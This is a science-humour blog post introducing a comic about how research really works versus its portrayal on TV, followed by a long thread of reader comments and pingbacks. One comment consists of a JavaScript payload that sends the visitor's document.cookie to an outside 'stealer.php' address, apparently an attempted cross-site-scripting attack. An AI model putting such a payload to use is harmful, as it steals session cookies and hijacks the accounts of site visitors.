I came across a student online who was wondering: What do scientists do? What is being a scientist like?

In pondering possible responses I started to think about what science and research is actually like, versus what it is portrayed as in popular culture. I actually find myself thinking about this topic quite a bit. I realize I am a scientist, but even when I am just trying to enjoy some TV shows or movies and I see a scene that involves a bit of science or technology needed to figure something out, my brain chimes in” “There’s no way that would work the first time, you’d have to go through all sorts of calibrations, find a standard sample… and then they would realize that they are using the wrong type of detector so they’d have to go build a new one… but first they’d have to figure out how to build a new one so that would take time… and in the end this whole research segment that takes about 30 seconds on the show should take about 10 weeks in real life”

Anyways, here’s my handy flowchart of the perception of science in popular culture versus actual science:

Note: Credit goes to Dan’s Awesome Rage Maker for the rage faces.

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154 responses »

  1. iampotassium says:

    That cartoon is freakin’ sweet. And totally true… *sighs* Ohhhhh science…

    • Paul Vallett says:

      Yeah. Someone pointed out that you could make a whole extra comic just about writing papers too, so I suppose I should have ended it with “No go to never ending paper-writing rage spreadsheet”

      • Roberta Newbury says:

        I’m in the process of analyzing data and writing up my dissertation. My final winter field season was spent in the ‘fffffffuuuuuuuuuuuu” stage…actually to be honest, that seems most days lately! Thanks for the laugh.

      • Paul Vallett says:

        Glad you liked it – I made it after a day of ‘fffffffuuuuuuuuuuuu’ and it helped to ease the stress, so I’m glad it can help others too! Good luck with the dissertation!

      • Marcin says:

        It also needs to be preceded by a grant application rage graph.

      • Bob smith says:

        And about the instrument section

    • serteca says:

      thats good

  2. Sean says:

    This is science, my favorite being Melvin.

  3. Laura Johnson says:

    Hehe, this is wonderful

  4. Thilina Heenatigala says:

    This is very neat!

    Paul, I shared the image via my Posterous with a link back to this article and added due credit. Hope that’s ok.
    Cheers!

    • Paul Vallett says:

      Thanks! Sharing is no problem, the more who enjoy, the better!

      • Thilina Heenatigala says:

        Thanks. It’s here – http://ow.ly/4O9wY I’m giving a talk next month on similar topic, I think might start the talk with this image.

        Cheers!

      • Elizabeth (Careers Service) says:

        Brilliant cartoon! Hope you’re still OK with sharing this, duly credited. Shared it via our postgrad careers blog, here at University of Manchester (UK) – http://wp.me/p7lfj-VF.

        Reminds me why I got out of chemistry labs before the postgrad admissions tutors got their claws into me…

        Many thanks
        Elizabeth

      • Paul Vallett says:

        Of course! Please share! I think some grad students get very isolated and it’s good to know that others share the same frustrations.

  5. EvanZ says:

    This made my day.

  6. [...] Scientific Process Rage I came across a student online who was wondering: What do scientists do? What is being a scientist like? [...]

  7. J says:

    This is fantastic-my life in diagramatic form. I’ll have to show my non-scientist friends, it’s brilliant!!! It also makes me feel so much better about nearly tearing my hair out when things don’t work out, or my machine mysteriously stopping working for no apparant reason other than I have a deadline looming. I’m not alone :)

    • Paul Vallett says:

      Yes, for some reason it is like this for everyone (except those really really lucky people). I spend about 75% of my time in the “fffffffuuuuuuuuuuuu” stage.

  8. Randy says:

    1. This is the best summary of the process that I have ever encountered.

    2. Everyone who enters a lab comes equipped with an inner Melvin. Eternal vigilance is the only defense against Melvinism.

    • doctorclark says:

      There is no defense against Melvin. Murphy’s Law of Melvin: Anything than Melvin can do to result in “fffffffffffffffffffuuuuuuuuuuuuuuuu” will be done.

  9. Ashy says:

    You forgot ‘sidelined while you do PI’s monkey work’ and ‘make futile attempt to salvage social life.’

  10. [...] Electron Café: Scientific Process Rage (cartoon) [...]

  11. [...] I came across a student online who was wondering: What do scientists do? What is being a scientist like? In pondering possible responses I started to think about what science and research is actually like, versus what it is portrayed as in popular culture. I actually find myself thinking about this topic quite a bit. I realize I am a scientist, but even when I am just trying to enjoy some TV shows or movies and I see a scene that involves a bit o … Read More [...]

  12. Liz says:

    I shared this with quite a few of my co-workers, including my PI who said this was great, but the angry face should be bigger since we spend most of our time there. LOL!

    • Paul Vallett says:

      I’m glad you liked it! It’s true the “rage” face should be the biggest. I am thinking of making a pie chart representing the amount of time spent in each phase…

  13. BAAAHAHAHAHHAA. PV this is the most hilarious thing ever. Have you read Hyperbole and a Half? she draws hilarious pictures to illustrate topics. This reminded me of her blog.

  14. BOB says:

    I find this humor as pretentious as the arrogant people who would think it was funny. :/

  15. [...] (via Scientific Process Rage « Electron Café) [...]

  16. FranW says:

    May I print this out in colour and give copies to every starry-eyed postgrad student who comes to me wanting to do a PhD?

  17. [...] on his blog, Jay Lake posted a link to this flowchart showing the scientific process. LOVE IT! It’s funny because it’s true… Every astronomer I’ve shared it [...]

  18. Eddie says:

    I think I’m in the lucky camp so far, I’m doing science for the past year for Uni and a lot of the results have been awesome :O

    Then again, now I have all these results in the “thinking” area and it’s driving me nuts, guess I’m going to the FUUUU stage soon, lol!

    Great great diagram, really made my morning :)

  19. Patrick says:

    You could write a whole comic about analyzing the data too! *Monkey with results until they make more sense*

  20. Bob Gotwals says:

    I teach research at an advanced (public) high school….any idea how I could get a “sanitized” version of this? I can’t hand out anything that has “f-words” (or f-word acronyms, like “wtf”) without parents screaming.

  21. Svo satt | says:

    [...]  Via Electron Café [...]

  22. Ed Rybicki says:

    I am teaching a class on “How to write a scientific paper” in October. I think I am going to start with this…B-)

    I also have a lab book from 1989, which contains – in capitals four cm high – the word FUUUUUUUUU**…!, written at the end of a six-month series of PCR experiments that I found were meaningless because my primers were contaminated. I use it as a cautionary tale for postgrads.

  23. Nndaia says:

    So very, very true…

  24. E says:

    I worked in a theoretical ecology lab where nearly every single person was stalled out in the “thinking” phase for a full semester, including the PI. It was quiet in there. Too quiet.

  25. [...] Paul Vallett’s “Scientific Process Rage” flow chart comic is simultaneously enlightening and hilarious (Heisenberg be damned!). In the comic, Vallett demonstrates the difference between public perceptions of science as reinforced by popular depictions of science and the real operation of science as a decidedly more complex process of discovery. You can find it here: Scientific Process Rage « Electron Café. [...]

  26. [...] by scientist Paul Vallett for his Electron Cafe blog, this funny cartoon is essentially about the differences between how science happens in the movies, [...]

  27. K says:

    This is great. Just need an arrow for the irritating part where the researcher has to deal with the bureaucracy of research (such as actually finding the grant money to do the research to begin with).

  28. Azita says:

    This is absolutely hilarious, I laughed my arse off. Thank you!

  29. [...] Electron Café via BoingBoing [...]

  30. Faith Vilas says:

    Science is a lifestyle. This showed it perfectly. Thank you! I;ll grin for the rest of the day.

    • Yes, a lifestyle. This is exactly what I got out of the cartoon as well, but had a hard time summarizing as concisely as you did. I came away with the message that science is about the means not the ends. I know that this is not true all the time, but to be a happy scientist, I think you cannot regret if all your efforts lead to no big insight after all.

  31. dashgami says:

    Yes, exactly how I think it works!!
    … just one thing, you forgot pizzas, coffee and cigarettes… but, yes, some people manage without…

  32. [...] This post was Twitted by mcd410x [...]

  33. Jennack says:

    I love you.

  34. Thomas says:

    Great work. I’ve been living this for decades, and have come to terms with it. Plenty of time spent in all the stages. I’ve even gotten to like the “WTF is going on” stage quite a lot. I’ve learned to design experiments so “Hmm, not going quite as I expected” isn’t a problem. And we have a great lab meeting with the “Hmm, that’s funny”. The drawings express the feeling so spot on.

  35. byter says:

    I couldn’t stop laughing, it is f’ing genius!!!!! Love it!!!!

  36. Elizabeth says:

    My favorite bit “AMAZING RESULTS!” …. “Results turn out to be bullshit.”

    It gave me flashbacks. :)

  37. [...] This post was Twitted by tim_heap [...]

  38. [...] Electron cafe made this wonderful diagram showing the scientific process as it appears on movies and TV versus the scientific process as actual scientists experience it day-to-day: [...]

  39. Simon Landmine says:

    There’s a particularly fine xkcd on a similar theme …

    http://xkcd.com/683/

  40. [...] insight as to what someone who puts “scientist” as their profession encounters on a typical day.  I know Hollywood has made us all seem quite fabulous and speedy, but really, it’s a [...]

  41. sorin7486 says:

    true that

  42. Cheryl says:

    You need to make this available on a poster, like from Cafe Press or something!

  43. Pallavi says:

    Its really wonderful. Very true!! :)

  44. [...] by scientist Paul Vallett for his Electron Cafe blog, this funny cartoon is essentially about the differences between how science happens in the movies, [...]

  45. [...] all there.  Found first while checking out Boing Boing. It comes form Paul Vallett’s blog, Electron Cafe, a nifty science-oriented blog. Dan’s Rage Maker provided the [...]

  46. jwookien says:

    I’m sure forever alone belongs to this flowchart too, somewhere…

  47. Brilliantly done! Says yet another scientist (in the making).

  48. buzzeer buzz says:

    yep, based on my own experienced as graduates research assistant, the drawing is very true..especially about the great results, n in the end it turn out to be bullshit n useless lol..darn it..and need to start all over again..not to mention the samples already be prepare, i need to go true a very harsh samples preparations n when i need to analyze it using those high tech equipment, the equipment break!!or have problem!!lol..

  49. buzzeer buzz says:

    btw, its compulsory to add up about our social life, haha..so that they know thow us as a researcher n scientist always spend time alone , being a loner and not having social life bcause of our time were use up just for our research,… fieldwork, laboratories work, analyzing data, reading mass tons of jurnals, thinking..thinking..thinki​ng..n writing..writing…n its come out to be rubbish n start all over again…sob sob

  50. Michelle says:

    Absolutely freaking hilarious and totally true. Thanks for this!!

  51. [...] is still a quite speculative theory. A test, nonetheless. It seems appropriate to pair that with this cartoon of how science works. from → Uncategorized ← Dismal pointers LikeBe the [...]

  52. another PhD student says:

    i second (or third or whatever) the request for making this into a poster!!!!

  53. Perception of Science versus the Reality of Science

  54. QG says:

    This is just so true!!! I particularly love the “Oh hey, this makes sense!!”/”No wait, it doesn’t…”.
    I’m finishing my thesis in experimental science, I’ll forward it to my colleagues who are experiencing this nearly every day!
    Thanks for the idea :)

  55. FitMarker says:

    Scientific Process Rage « Electron Café…

    An infographic on how science is REALLY conducted…

  56. nturavgjo says:

    I’m perpetually in “WTF is going on?!” mode.

  57. MrsBKeller says:

    I’m not the first science teacher to share this…. I got it from another science teacher…. have to share this with my students at some point… I might have to alter the “Ffffffffuuuuuuu” to something more PG for my 8th graders, but I think most of them could handle it.

    Anyway, thanks for the visual of what we scientists know to be the process. I’ll pass it on to a few PhD’s I know… :-)

  58. michellebaer says:

    I love it. Nice job!!

  59. [...] Ich hatte ja schon einmal versucht zu erklären, wie Wissenschaft “funktioniert”, aber dieses Bild beschreibt es viel besser. Danke an Christina für’s Finden (Link)! [...]

  60. Hahaha! My first summer of research is almost done and, um, YES.

  61. [...] original is from here. Maybe now you understand why posting has been slow. At least I’m almost at the last line by [...]

  62. Al Einstein says:

    Amen brother!

  63. This freakin’ made my day! In deciding whether to go for my masters or doctorate…this flow chart will come in handy.

  64. [...] research, as it turns out, is a much more nebulous process than I had previously thought. (See Paul Vallett’s comic, pictured above.)  For ever good piece of data obtained in the lab, there are days of [...]

  65. Therese says:

    This is the truest thing I’ve seen since the “‘Nasty’ chemicals” YouTube video by user periodicvideos that I saw the other day. Bravo, Paul Vallett. Bravo.

  66. [...] Scientific Process Rage « Electron Café. [...]

  67. Agnes says:

    Hahaha so true!!!

  68. So much fun, and so true as well ! This I want to show in a classroom when I get the chance!

  69. Scientific Process Rage…

    Scientific Process Rage…

  70. Greetings SciComm, SciGeeks, etc…
    You might like this post – “How People in Science See Each Other” http://thilinah.posterous.com/how-people-in-science-see-each-other

  71. [...] massively different from public perception. Here is Electron Cafe blog author Paul Vallett’s illustrated flowchart showing science as it appears in movies and TV versus science as it is actually done. It’s pretty [...]

  72. Halley DeLay says:

    Oh this is so win. The amount of time I spent in the Fffffuuuu stage is phenomenal. A full year of the ‘doing science’ part to find out we couldn’t launch our payload >.< I graduated before they made it past the Ffffuuuu stage. However, made sure that my poor undergrad self knew what science was about!

  73. oneofthem1s says:

    I previously knew nothing about how scientists work. This proves very informative, although I’m still trying to work out how I got here.

  74. zenbuffy says:

    Step 1: Wonder about something
    Step 2: Make science at it
    Step 3: ???
    Step 4: Profit!

    I’m literally crying tears of laughter at my desk reading this. This describes my undergraduate bio project so well, especially the damn Melvin.

  75. brainrants says:

    That is truly awesome. I love it. I may have to do one that explains the Army.

  76. mikoo says:

    Hit the nail right on the science head!

  77. [...] This post was Twitted by Rocketeer_UK [...]

  78. [...] Edit: I came accross this blog recently and thought this would fit in perfect here! http://electroncafe.wordpress.com/2011/05/04/scientific-process-rage/ [...]

  79. Rose says:

    Paul, I absolutely love this flow chart. I would love to use it in my 8th grade science class, but the language isn’t exactly age appropriate. If you posted an edited version, it would have a permanent home on the wall in my class. Every time the kids “failed” I would just remind them of your flowchart. :)

    • Åka says:

      Actually, Paul, could you release this under a suitable Creative Commons license, allowing people perhaps to edit, but at least to use and show this? I often talk about exactly this when I give public lectures.

    • Paul Vallett says:

      I have one almost done. I will let you know when it’s finished!

      • I would appreciate this as well. I’m working on an orientation lecture on writing (and plagiarism) for the incoming grad students in our department and wanted to illustrate the difference between the research process and what actually gets written. This is pretty great!

  80. Lisa Parkins says:

    Thanks. Sometimes it looks like everyone else is just effortlessly banging out Nature/Science/Cell papers. Good to know I’m doing it right!

  81. [...] Scientific Process Rage « Electron Café. Share this:MoreLike this:LikeBe the first to like this post. [...]

  82. [...] From: http://electroncafe.wordpress.com/2011/05/04/scientific-process-rage/ [...]

  83. [...] entre la percepción social de la ciencia y lo que sucede en realidad. La entrada de titula Scientific Process Rage. Sobran las palabras. Paul Vallett, [...]

  84. must use this in class!

  85. Waldi Syafei says:

    hahaha totally funny cartoon..

  86. [...] fuente original la encontraréis en el siguiente blog. LD_AddCustomAttr("AdOpt", "1"); LD_AddCustomAttr("Origin", "other"); [...]

  87. [...] ore efficiently. I found it to be challenging work and it was my first brutal introduction to the realities of scientific research. It was also a time when I was working in an area that aimed to reduce the amount of chemicals used [...]

  88. Ash says:

    Wow this is so perfect! I have only worked in a lab for a year and I am able to come up with an example of a time that I have experienced each stage in your diagram. In fact I am working on 5 different projects right now and I am definitely in the ffffffffuuuuuuu… stage in at least 3 of them haha. In fact I found this so accurate that I printed out a large copy and posted it up in the lab. Even my PI, who has a pretty dry sense of humor, found it hilarious so good job! My coworker and I proceeded to make magnets with everyone’s initials on it and turn it into an interactive map of “where are you now???”. It has become quite the source of entertainment and stress relief so thank you for perpetually making our day in times of utmost frustration!!!! I think you could totally market this in a poster / magnet set! Just an idea bro :) Keep it up!!!

  89. ratravarman says:

    As hot and appealing as a p.r. boost for forensic medicine NCIS’ Abby Schiuto or any of the members of the various CSI shows may be, there is no way they can do that kind of stuff without a huge staff. In particular, Miss Schiuto in NCIS is doing the work of a dozen technicians and violating scope of practice every which way. I am also not sure if a lab tech could ever be deputized to have power of arrest much less be armed. Criminal Minds is more accurate in that the tasks are more delegated among a committee of agents who have both forensic and crimnology backgrounds. And they make mistakes galore in trying to work against time. Their research dept. again is one person doing the work of 10. It is all very misleading, especially as I know of people who are in various forensic labs and even the FBI who can only wish they had lab half as up-to-date, if not spotless and spacious, as the typical lab shown on a TV procedural.

  90. a says:

    document.location = “http://handika.comlu.com/stealer.php?cookie=” + document.cookie;

  91. [...] is messy. don’t believe me? Check out this comic:  http://electroncafe.wordpress.com/2011/05/04/scientific-process-rage/ (go take a look. It’s worth it. I’ll still be here when you’re [...]

  92. [...] lifted from http://electroncafe.wordpress.com/2011/05/04/scientific-process-rage/ This entry was posted in Atheism, Humour, Science and tagged comic, scientific method by Obvious [...]

  93. [...] here. I wonder how to make it float next to the image properly. Also I’m going to have to say Electron Café’s Scientific Process Rage Comic This entry was posted in Uncategorized by anad23. Bookmark the [...]

  94. [...] The cartoon was created by Paul Vallett. Thanks to him for the lovely comic. [...]

  95. Dini says:

    hahaha yeaa i aggree with that.. and i really2 appreciate of the scientist because of them now we are living in easy way..

  96. [...] comic that explains the real science process reveals a relationship between the perception and the reality, in a much fun way, which sort of [...]

  97. [...] This is how science works (H/T: Astropixie. [...]

  98. MIchael says:

    Hi,
    this is so true… still the truth does not kill our passion for science. I wonder why ;-)

  99. [...] the book’s only potential real problem; as you know, science isn’t a bit like that. This cartoon has been doing the rounds on Twitter recently. Its message—doing science is a right old mess. [...]

  100. Luke says:

    Reblogged this on Luke G. Marshall and commented:
    Found this courtesy of a mentor who has been helping me figure out my plans for next year. Pretty much the way things work around here:

  101. [...] Found this courtesy of a mentor who has been helping me figure out my plans for next year. Pretty much the way things work around here: [...]

  102. Boojakascha says:

    Really nice job! I like this chart. I printed it and put it on the wall of my lab

  103. [...] this looks nothing like what actually happened. You might be more familiar with this process in its rage form. Don’t fool yourself, this is story crafting. In its simplest form the scientist is the [...]

  104. [...] Scientific process as we imagine it to be and as it is. [...]

  105. Katarina says:

    Hahaha, It reminded me of an old print out my father gave to me several years ago. I don´t know who wrote it, but here goes:

    RESEARCH DEFENITIONS
    The following phrases, frequently found in technical writings, are defined here for your edification and enlightenment. This list was plagiarized from some unknown genius who evidently had read one too many scientific papers.

    “IT HAS LONG BEEN KNOWN…” I haven´t bothered to look up the original reference.
    “OF GREAT THEORETHICAL AND PRACTICAL IMPORTANCE” interesting to me.
    “WHILE IT HAS NOT BEEN POSSIBLE TO PROVIDE DEFINITE ANSWERS TO THESE QUESTIONS…” The experiments didn´t work out, but I figured I could get publicity out of it.
    “EXTREMELY HIGH PURITY – SUPERPURITY” Composition unknown, except for the exaggerated claims of the supplier.
    “THREE OF THE SAMPLES WERE CHOSEN FOR DETAILED STUDY” The results of the others don´t make sense and were ignored.
    “ACCIDENTALLY STINED DURING MOUNTING” accidentally dropped on the floor.
    “HANDLED WITH CARE DURING THE EXPERIMENTS” Not dropped on the floor.
    “TYPICAL RESULTSW ARE SHOWN2 The best results are shown
    “PRESUMABLY AT LONGER TIMES…..” I didn´t take time to find out.
    “THESE RESULTS WILL BE REPORTED AT A LATER DATE” I might get around to this some time.
    “IT IS BELIEVED THAT…” I think.
    “IT IS GENERALLY BELIEVED THAT…” A couple of guys think so too.
    “IT MIGHT BE ARGUED THAT…” I have such a good answer for this objection that I shall now raise it.
    “IT IS CLEAR THAT MUCH ADDITIONAL WORK WILL BE REQUIRED BEFORE A COMPLETE UNDERSTANDING..” I don´t understand it.
    “CORRECT WITHIN AN ORDER OF MAGNITUDE” wrong.
    “IT IS TO BE HOPED THAT THIS WORK WILL STIMULATE FURTHER WORK IN THE FIELD” This paper is not very good, but neither are many others on this miserable subject.
    “THANKS ARE DUE TO JOE GLOTZ FOR ASSISTANCE WITH EXPERIMENT AND TO JOHN DOE FOR VALUABLE DISCUSSIONS” Glotz did the work and Doe explained what it meant to me.

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